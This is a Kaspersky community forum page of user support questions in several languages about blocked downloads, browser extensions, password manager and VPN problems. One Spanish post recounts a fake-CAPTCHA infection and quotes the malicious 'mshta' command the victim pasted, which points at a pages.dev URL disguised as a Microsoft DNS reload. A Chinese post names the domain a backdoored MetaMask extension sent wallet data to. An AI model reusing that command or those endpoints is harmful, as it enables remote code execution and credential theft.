Search the Community

Hola, Tengo kaspersky Premium y desde hace unos dias no puedo descargar ningun fichero, ni desde cualquier web ni desde drive ni onedrive, siempre me da el error de "virus Detectado". Buscando por foros dicen que s on falsos negativos de windows defender pero no lo tengo activo, sólo esta kaspersky. He pasado todos los analisis posibles y sigue sin solucionarse el problema. Lo he probado tanto en chrome como en edge. Y tengo windows 11 Necesito ayuda. Gracias

Windows 11 PC with Kaspersky Premium installed and up to date Edge, Chrome & Firefox installed and all exhibit the same problem If I download a PDF bank statement from the bank it works fine but then if I try to download another it fails unless I reboot So if I want to download all my last 12 months bank statements for the tax man then I have to reboot 11 times ! The same problem occurs with CSV files and XLSX files and is the same using ay of my browsers If any one has any ideas how to resolve this issue I would be most grateful A dozen or so reboots during the day is very tedious Kaspersky Premium installation disables Windows Defender so it can't be that Also if I exit / close Kaspersky it still leaves stuff running in the background despite using task manager to close the obvious Any help much appreciated

En el caso hipotetico que me hackearan la cuenta o el mismo google me banearan la cuenta de google y la perdiera para siempre. Que pasaría con mi cuenta de kaspersky vinculada a la de google. Terminaría mi plan de antivirus?. Perdería todas mis contraseñas del KPM? Como podría respaldarme por si ese caso pasara?

My Kaspersky blocked Reddit; it said, This site can't be reached but after i exit kaspersky the site is open again the same thing applies to my other browser, i tried rename Report to Report1 added "Reddit.com" to trusted URLs. Please help

如题，通过流量监控发现chrome浏览器经常有异常大的上行流量，考虑到最近bilibili被曝出偷偷调用用户资源来分发上行流量，而我对bilibili使用较频繁，所以我想针对chrome浏览器或bilibili的服务器节点地址进行上行限速。 我已经初步尝试了防火墙规则，没有找到能精确限制流量的规则模板（只能选择permit或者deny），或许需要qos规则，而优选版不一定有此功能。请告知我优选版是否能完成我的需求？如果可以的话，需要如何配置？ 感谢！

Здравствуйте. Антивирус удаляет расширение Troywell из браузера. Как сделать так, чтобы он его не трогал?

25-03-2025 KAV работает вместе с chrome штатно. Сейчас 27-03-2025 kav 21.3.10.391(m) базы новые, win10 последняя и хром (тоже последняя версия) запускается, но сразу пишет ошибку открытия вкладки - white BSOD, даже настройки не открывает. Если выключить компонент kav "мониторинг активности", то хром работает штатно. Также работает штатно хром и в режиме совместимости с win8 или с ключом --no-sandbox. Хром переустанавливал, портативную пробовал версию, симптомы теже. Возможно это связано с обновлением CVE-2025-2783.

I installed the Google Chrome app dedicated to the password manager but if I run the Windows software "Kaspersky Password Manager" it always tells me that it still needs to be installed. Why? How do I solve it? windows 11 - version 24.3.0.327 / 1741787757_7668 / 1.1.0.2_1

This problem began occurring in the past few days on two separate devices running KSK (an older Samsung Galaxy S10e, and a brand-new Galaxy S24): when performing a simple Google search in the Chrome browser, the search results page keeps reloading constantly in an endless loop. When pausing the KSK app, the problem goes away. This video shows what is happening: https:// tali . com/shared/Kaspersky_Loop.mp4 (watch until the end). Is this a new bug? Any way to fix it? It's driving my kids crazy. Thanks.

1月25日爆出ads指纹浏览器内的谷歌浏览器扩展商店下载的metamask加密货币钱包被黑客替换为带有后门的假钱包，ads软件似乎被黑客彻底控制，强制要求所有用户更新metamask扩展，导致用户下载到假钱包，然后用户加密资产被盗，损失目前有470万USD。 我用卡巴斯基全盘扫描几次，没有查到任何病毒，黑客伪装的太好了。根据ads公司发出来的信息，是metamask的js源文件被替换，其中有代码会将用户的钱包资料发送给黑客地址：logcollection.info，然后黑客通过钱包资料盗取了ads用户的加密货币。 https://x.com/adspowercn/status/1882983817532899682 https://x.com/evilcos/status/1883013134744727957 这两条推文是详细信息。 我在卡巴斯基官网没有找到病毒报告的地方，我电脑还有黑客的加钱包，有官方人员要的话可以留言，希望卡巴斯基尽快跟进一下这个安全事故。

So my Kaspersky Protection extension seemed to be lagging (I changed my Data Collection Blocking settings in the app, but nothing changed in the extension, even after I had turned my PC off and on again), and I decided to uninstall and then reinstall it. The problem is that the extension is no longer available for installation in Chrome Web Store, while in Kaspersky Plus app the indicator says the extension is working, so I can't install it from there too. In this case, how do I get it back?

Hello, I work in an I.T. company, and we manage a couple of companies' antivirus infrastructure. I began to manage another company, and went through the usual motions of setting it up, however I couldn't download the distribution packages, it just loads nothing, barren. Something was giving me weird vibes when I had to accept the agreement, took me a few hours of trial and error, but it loaded and I accepted. Now it doesn't give me the distros. What do I do? I contacted their e-mail, and even their office in my country but they refuse to pick up. P.S. Kaspersky Endpoint Security Cloud, User European Edition 15-19 Build version: 24.9.1.14

Sobald Kaspersky aktiv ist ist mein Internet so gut wie überall blockiert. selbst den Schutz auf Pause zu setzen bringt nichts. Ich muss das Programm komplett schließen damit ich wieder Internet zugriff habe. Mein PC Windows 11 Pro Build 27764.1000 [ VERSION DEV ] PS: Nein es liegt nicht an der DEV version da ich es auf dem normalen [public] auch habe [anderer PC]

Buen dia comunidad, el jueves 19 a primeras horas de la madrugada mientras buscaba informacion sobre una escuela me tope con esta escuela aqui en Peru : https: //lavictoriagakko.edu.pe (tener cuidado con la web). Dentro de la pagina se mantiene la estructura de una pagina de escuela normal hasta que segundos despues aparece el captcha "no soy un robot" para hacer check en las figuras de autos. Luego de ello aparece un mensaje que que dice que algo asi como "para reiniciar la pagina" presion "Ctrl + r" , pega con "Ctrl + v" este codigo para recargar la pagina, el tema es que me sorprendio que algo ya este listo para pegar y quise ver por que se me habia copiado (en el portapapeles) un ejecutable solo por haber entrado a esa pagina, entonces fui al comando "Ctrl + r" presiono "Ctrl + v" (para visualizar que codigo malicioso era) y de casualidad lo termino ejecutando =( el codigo ejecutado en la ventana run de windows fue: mshta https: //microsoft-dns-reload-6y.pages.dev # "Microsoft Windows: DNS service Reload and Restart UP Tengan cuidado con ello. El problema es que en ese momento solo tenia instalado el windows defender (tengo windows 11 up to date). Algunas horas despues empezo el problema: entraron a mi cuenta de twitter e instagram (ambas con la configuracion de recordar credenciales cada vez que se iniciaba el chrome) , se detecto un inicio de sesion desde CA, USA en mi twitter y eliminaron mi instagram previamente habiendo cambiado el correo asociado a la cuenta por una de dominio @tenaent.com). La computadoraestuvo encendida un par de horas ese luego de la execucion de dicho executable malicioso en el cual use el scaner profundo de windows defender (que no hayo nada raro). Ese dia solo apague la computadora y al dia siguiente adquiri el karpersky premium, el cual arrojo troyanos HEUR:Trojan.Script.Generic (https: //bsc-dataseed1.binance.org https: //microsoft-dns-reload-6y.pages.dev), vinculo malicioso(https: //saaadnesss.shop/check) backdoors como "amenazas", asimismo de en algunos momentos aparecia "shell host is using camara web" pero Karspersky me daba la opcion de bloquear ello. De antemano muchas gracias a quien lea todo esto, cualquier ayuda es bienvenida porque lo que mas me preocupa es saber que informacion han robado en el tiempo que no era detectado.

Hallo, bekomme am Samsung S10e Handy Mitteilung, dass der Passwort Manager nicht mehr über Google aktiviert wird und man auf den Kaspersky Passwort Manager von Galaxy Store wechseln soll. Wunderte mich, dass diese Info auf meinem Huawei Handy nicht erfolgte. Ich habe das jedoch - mit leichtem zögern - gemacht und frage mich nun, ob das nicht ein Fehler war. Der Kaspersky Passwort Manager lief ja vorher immer ok. Habe den neu installierten KPM über den Galaxy bisher aus Sorge noch nicht über dem Samsung Handy geöffnet bzw. aktiviert. Bin kein Fachmann und was soll ich tun?

Due to the system update not being the latest version on Mac or Windows computers, we are unable to use the VPN application. It's interesting that Kaspersky is usable while the VPN cannot be. At the very least, to address this handicap, a Chrome extension could be created that allows login with a My Kaspersky account, thus providing a solution to the system update issue imposed by the systems. We are paying for this application, and taking action on this matter would be a beneficial approach for the users.

Я знаю, что на данный момент поддержка secure sni в касперском отсутствует. По сути, отключение проверки защищённых соединений в настройках сети должно позволять secure sni работать. Так и есть: если настроить DoH на уровне устройства, либо браузера, то всё работает. Но мне такой вариант не подходит, так как DoH я настраиваю на роутере с openwrt, а так же пользуюсь hosts на этом роутере, чтобы он был единым для всех устройств в сети. Проблема с hosts в том, что настройка DoH на уровне устройства шифрует данные от роутера, отчего трафик с устройства, либо из браузера, игнорирует hosts. Вот в чём, собственно, проблема: пока запущен касперский на устройстве, secure sni не работает, не смотря на то, что проверка защищённых соединений выключена. Начинает работать только тогда, когда настроен DoH на уровне устройства/браузера. Если выйти из программы (трей - контекстное меню - выход), то secure sni начинает работать при DoH на уровне роутера. Если только приостановить защиту, то ничего не меняется, помогает только выход из программы. То, что secure sni работает без включения на самом устройстве - не ошибка. Проверено на Windows 11 (в настройках подключения DNS выставлен "Автоматически (DHCP)") в браузерах Yandex и Edge: даже с выключенной настройкой "безопасный DNS" проверка на secure sni проходится. Также проверено на Android (настройка "Персональный DNS сервер" выключена) в браузерах Chrome, Yandex, Samsung. В последних двух в принципе нет настройки безопасного DNS, но проверка на secure sni всё равно проходится. Возможно, я упуская какую-то настройку, которая мешает работе secure sni при DoH на уровне роутера. Пока что вопрос не критичен, защита всё-таки важнее. На крайний случай пропишу на устройстве отдельный файл hosts и настрою DoH прямо на нём. Но хотелось бы, чтобы всё работало от роутера и касперский не мешал работе всех нюансов.

All Kaspersky endpoints are inheriting browser access blocking for webcams. This block is coming from Kaspersky Security Center 15.1. How can this issue be resolved?

Hallo, ich habe das porblehm das alle Internetbrowser gehen bis auf Chrome. da Wirt mir angezeigt da keinen Verbindung aufgebaut werden kann. ich habe kaspersky vpn deinstalliert und neu installiert. es hat nicht geklappt. Kann mir einer sagen was ich bei Chrome einstellen muss damit es geht? ich glaube das es mit dem Einstellungen zutuen hat.

Hi, I'm experiencing an issue on MediaMarkt.de where I'm unable to accept cookies. I've tested this across multiple browsers on Windows 11, but the problem persists regardless of the browser. I’m using NordVPN, but I don’t think it’s the source of the issue, as NordVPN works without any problems on my work computer where Kaspersky is not installed. When I try to accept "allow all cookies" or manually select cookie preferences, the site doesn’t confirm or save my choice. To troubleshoot, I've already checked Internet Options in the Control Panel and ensured that all cookies are enabled. I’ve also disabled anti-banner browser extensions and tried adding an exception in Kaspersky Premium, but the issue remains. Any insights into what might be causing this or how to resolve it would be greatly appreciated. Thank you!

I have not been able to cast videos to my smart TV since last week. I am using Windows 11, Intel Core i7, 9th generation.

Hola, la web es segura y no puedo entrar aunque este en exclusiones, que mas puedo hacer?

The Kaspersky extension on Google Chrome is inactive for me (the icon is gray). I only noticed this today, but it must have been a few weeks ago and it is not active at all. Does anyone else experience this or know how to fix it?

I have kaspersky premium edition installed in my pc (windows 11 pro), I tried to install kaspersky protection extension in brave browser but it doesn't work, is there any solution because brave is my default browser.